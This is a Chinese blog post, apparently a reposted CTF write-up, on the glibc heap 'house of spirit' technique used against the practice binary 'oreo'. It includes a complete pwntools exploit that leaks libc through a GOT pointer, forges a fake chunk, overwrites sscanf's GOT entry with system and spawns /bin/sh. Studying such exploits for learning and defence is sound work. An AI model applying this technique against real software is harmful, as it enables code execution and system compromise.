how2heap学习 --- house_of_spirit

栏目: C · 发布时间: 5年前

内容简介:最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。这里贴出相关教程1.add()

最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。

关于house_of_spirit

这里贴出相关教程 https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c , 其思想就是通过free一块不可控内存,在进行一次malloc,使其可控。

Oreo

1.add()

how2heap学习 --- house_of_spirit

在add函数里面,我们可以找到这样一个结构体

size : 0x38
struct rifle {
    char des[0x19]
    char name[0x1b]
    char *preAddr
}

读入name时,可以读入56个字节,可以溢出覆盖pre_addr指针,并且,每增加一个refle,dword_804a288都会加1。

2.show()

how2heap学习 --- house_of_spirit

这个函数通过结构体最后的 pre_addr 遍历所有的chunk,并将其打印出来。

3.order() 该函数会将根据结构体的pre_addr free所有chunk 4.leave 。。。。。

how2heap学习 --- house_of_spirit

向保存在0x0804a2a8处得指针,读取128字节的数据,该地址在函数的一开始便赋了初始值 how2heap学习 --- house_of_spirit

在0x0804a2c0地址处

5 非关键函数,不做分析

通过2 show()函数,可以通过写入name,覆盖pre_addr指针,指向got表中任意函数地址-25处,从而得到libc基地址

#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")    
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']

因为got表是可写的,想要实现往got表写数据,就必须控制0x0804a2a8地址处的指针,想要控制这个指针,就需要分配一个chunk到这个地方,因为0x0804a2a4这个地方地方的值会随着refle的增加而增加,因此,我们可以通过申请0x41个chunk的方式(为什么不增加其他个数的refle:这个地址我们把它当作fake chunk的size,按照house_of_spirit的思想,我们还得malloc这个chunk,每次malloc都是固定的0xx38,所以size为0x41),我们还需要将一个chunk的pre_addr修改为0x0804a2a8,这样,这个区域就可控了,就可以改写这段内存。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
p=process('./oreo',stdin=PTY)
elf=ELF('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
def add(name,des):
    p.readuntil("Action:")
    p.sendline("1")
    p.readuntil("name:")
    p.sendline(name)
    p.readuntil("description:")
    p.sendline(des)

def show():
    p.recv()
    p.sendline('2')

def order():
    p.recv()
    p.sendline('3')
def leave(message):
    p.readuntil("Action:")
    p.sendline("4")
    p.readuntil("order: ")
    p.sendline(message)
#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")    
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']
#fake chunk
for i in xrange(0x40-1):
    add('aaaa','aaaa')
payload = 'a'*0x1b+p32(0x0804a2a8)
add(payload,'aaaa')
message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)
order()


add('name',p32(sscanf_got))
leave(p32(system))

p.recv()
p.sendline('/bin/sh\0')

p.interactive()

一开始我并没有写下面这一段

message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)

出现了报错如下

"Action: *** Error in `./oreo': free(): invalid next size (fast): 0x0804a2a8 ***\n"

然后在glibc中找到了这一段报错的代码

if (have_lock || ({
                    assert(locked == 0);
                    __libc_lock_lock(av->mutex);
                    locked = 1;
                    chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
                        chunksize(chunk_at_offset(p, size)) >= av->system_mem;
                })) {
                errstr = "free(): invalid next size (fast)";
                goto errout;
            }

在进行free chunk的时候一般会检查next chunk的size,下一个chunk的大小不能小于两倍的SIZE_SZ,并且下一个chunk的大小不能大于system_mem, 一般为132k,否则出现这样的情况,就报错。(这只是检查之一,以后我们整理一下分配回收机制的各种检查)如果没有上面那一段脚本对fake next chunk size做调整,就会报错


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python语言程序设计

Python语言程序设计

[美]梁勇(Lang Y. D.) / 李娜 / 机械工业出版社 / 2015-4 / 79.00元

本书采用“问题驱动”、“基础先行”和“实例和实践相结合”的方式,讲述如何使用Python语言进行程序设计。本书首先介绍Python程序设计的基本概念,接着介绍面向对象程序设计方法,最后介绍算法与数据结构方面的内容。为了帮助学生更好地掌握相关知识,本书每章都包括以下模块:学习目标,引言,关键点,检查点,问题,本章总结,测试题,编程题,注意、提示和警告。 本书可以作为高等院校计算机及相关专业Py......一起来看看 《Python语言程序设计》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

SHA 加密
SHA 加密

SHA 加密工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具